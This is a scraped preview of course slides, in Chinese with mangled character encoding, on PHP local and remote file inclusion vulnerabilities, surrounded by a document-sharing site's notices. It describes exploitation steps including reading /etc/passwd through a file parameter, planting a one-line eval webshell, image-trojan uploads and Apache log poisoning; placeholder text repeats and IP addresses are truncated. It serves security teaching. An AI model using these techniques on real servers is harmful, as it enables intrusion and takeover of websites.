Web安全課程設(shè)計第九章_第1頁
Web安全課程設(shè)計第九章_第2頁
Web安全課程設(shè)計第九章_第3頁
Web安全課程設(shè)計第九章_第4頁
Web安全課程設(shè)計第九章_第5頁
已閱讀5頁,還剩11頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

Web安全課程設(shè)計

第九章文件包含漏洞點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本目錄01020304漏洞利用方式遠(yuǎn)程文件包含本地文件包含包含漏洞原理解析第九章文件包含漏洞點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞文件包含漏洞是“代碼注入”的一種,其原理就是注入一段用戶能控制的腳本或代碼,并讓服務(wù)端執(zhí)行?!按a注入”的典型代表就是文件包含,文件包含漏洞可能出現(xiàn)在JSP、PHP、ASP等語言中,原理都是一樣的,本章只介紹PHP文件包含漏洞。要想成功利用文件包含漏洞進(jìn)行攻擊,需要滿足以下兩個條件:Web應(yīng)用采用include()等文件包含函數(shù)通過動態(tài)變量的方式引入需要包含的文件。用戶能夠控制該動態(tài)變量。PHP中的文件包含分為本地包含和遠(yuǎn)程包含,下面我們來詳細(xì)介紹這兩種文件包含。包含漏洞原理解析點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞定義:能夠打開并包含本地文件的漏洞,被稱為本地文件包含漏洞(LFI)。利用本地文件包含漏洞,可以查看系統(tǒng)任意文件內(nèi)容,如果具備一些條件,也可以執(zhí)行命令。漏洞代碼演示:上面這段代碼的使用格式可能是這樣的:http://localhost/lfi.php?page=main.php或者h(yuǎn)ttp://localhost/lfi.php?page=downloads.php本地文件包含LFI點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞上面這段代碼的使用格式可能是這樣的:http://localhost/lfi.php?page=main.php或者h(yuǎn)ttp://localhost/lfi.php?page=downloads.php結(jié)合上面代碼,簡單說下怎么運(yùn)作的:1.提交上面這個URL,在lfi.php中就取得這個page的值($_GET[page])。2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。3.若$_GET[page]空的話就執(zhí)行else,來include"home.php"這個文件。如果我們將page參數(shù)的值設(shè)置為服務(wù)器本地存在的文件,會發(fā)生什么事情呢?如果服務(wù)器沒有進(jìn)行過濾,直接包含文件的話,那么php解析器將會把被包含的文件當(dāng)成php代碼來執(zhí)行。本地文件包含LFI點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞上面這段代碼的使用格式可能是這樣的:http://localhost/lfi.php?page=main.php或者h(yuǎn)ttp://localhost/lfi.php?page=downloads.php結(jié)合上面代碼,簡單說下怎么運(yùn)作的:1.提交上面這個URL,在lfi.php中就取得這個page的值($_GET[page])。2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。3.若$_GET[page]空的話就執(zhí)行else,來include"home.php"這個文件。如果我們將page參數(shù)的值設(shè)置為服務(wù)器本地存在的文件,會發(fā)生什么事情呢?如果服務(wù)器沒有進(jìn)行過濾,直接包含文件的話,那么php解析器將會把被包含的文件當(dāng)成php代碼來執(zhí)行。如果被包含的文件沒有php代碼標(biāo)簽,則可以把整個文件的內(nèi)容讀取出來。如果有代碼標(biāo)簽的話,則可以通過一句話來getshell。本地文件包含LFI點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞如果php.ini的配置選項allow_url_fopen和allow_url_include為ON的話,則文件包含函數(shù)是可以加載遠(yuǎn)程文件的,這種漏洞被稱為遠(yuǎn)程文件包含漏洞。利用遠(yuǎn)程文件包含漏洞,可以直接執(zhí)行任意命令進(jìn)行RFI攻擊需要同時具備三個條件(被攻擊機(jī)器):allow_url_fopen=On(默認(rèn)開啟)allow_url_include=On(默認(rèn)關(guān)閉)被包含的變量前沒有目錄的限制遠(yuǎn)程包含與本地包含沒有區(qū)別,無論是哪種擴(kuò)展名,只要遵循PHP語法規(guī)范,PHP解析器就會對其解析。遠(yuǎn)程文件包含RFI點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞php遠(yuǎn)程文件包含的例子:52/twiki/php.txt目錄下存在php.txt文件,內(nèi)容如下:

Rfi.php文件代碼,它的ip是11。如下:

訪問11/rfi.php?file=52/twiki/php.txt,執(zhí)行結(jié)果如下所示,成功解析遠(yuǎn)程文件:

遠(yuǎn)程文件包含RFI點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞常見的漏洞利用方式:(1)讀取敏感文件訪問Url:11/rfi.php?file=/etc/passwd,如果目標(biāo)主機(jī)文件存在,并且擁有相應(yīng)權(quán)限,那么就可以讀出文件內(nèi)容。常見的敏感文件如下:Windows:C:\\boot.ini //查看系統(tǒng)版本C:\\Windows\\win.iniLinux:/etc/passwd //包含賬號信息的文件/etc/hosts //host文件漏洞利用方式點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞(2)遠(yuǎn)程包含shell如果目標(biāo)機(jī)allow_url_fopen選項是激活的,可以嘗試遠(yuǎn)程包含一句話木馬,在52這臺主機(jī)上的write.txt文件中內(nèi)容如下:

當(dāng)訪問存在漏洞的地址時:11/rfi.php?file=52/twiki/write.txt,會在rfi.php文件目錄下生成shell.php文件,內(nèi)容為:<?phpeval($_POST[cmd]);?>使用相關(guān)連接工具,可獲取服務(wù)器權(quán)限。漏洞利用方式點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞(3)本地包含配合文件上傳很多網(wǎng)站通常會提供文件上傳功能,比如:上傳頭像,文檔等,假設(shè)已經(jīng)上傳一句話圖片木馬到服務(wù)器,路徑為:./uploadfile/20160612.jpg圖片代碼如下:訪問11/rfi.php?file=./uploadfile/20160612.jpg,包含這張圖片,將會在rfi.php所在的目錄下生成shell.php文件。漏洞利用方式點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞(4)包含apache日志文件某個PHP文件存在本地包含漏洞導(dǎo)致無法上傳文件時,這種情況就像明明有注入漏洞,卻無法注入數(shù)據(jù)一樣,明明是一個高危漏洞,卻無法深度利用。但本地包含還有另外一招,就是找到Apache路徑,利用包含漏洞包含Apache日志文件也可以獲取webshell。Apache運(yùn)行后一般默認(rèn)會生成兩個日志文件,這兩個文件是access.log(訪問日志)和Error.log(錯誤日志),Apache的訪問日志文件記錄了客戶端的每次請求及服務(wù)響應(yīng)的相關(guān)信息,例如,當(dāng)我們請求rfi.php頁面時,apache就會記錄下我們的操作,并且寫到訪問日志文件access.log中,如圖所示:漏洞利用方式點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞當(dāng)訪問一個不存在的資源時,Apache日志同樣會記錄,這就意味著,如果網(wǎng)站存在本地包含漏洞,卻沒有可以包含的文件時(通常指網(wǎng)頁木馬文件),就可以去訪問11/<?phpphpinfo();?>。Apache會記錄請求<?phpphpinfo();?>,并寫到access.log文件中,這時再去包含apache的日志文件,不就可以利用包含漏洞了嗎?但實際上是不可行的,原因是訪問Url之后,一句話木馬在日志文件中”變形了”:漏洞利用方式點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本點(diǎn)擊添加文本第九章文件包含漏洞php代碼中的“<,>,空格”都被瀏覽器轉(zhuǎn)碼了,這樣攻擊者就無法正常利用Apache包含漏洞,但是可以通過第三方抓包工具,繞過瀏覽器去提交參數(shù):

漏洞利用方式點(diǎn)擊添加文本點(diǎn)擊添加文本

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論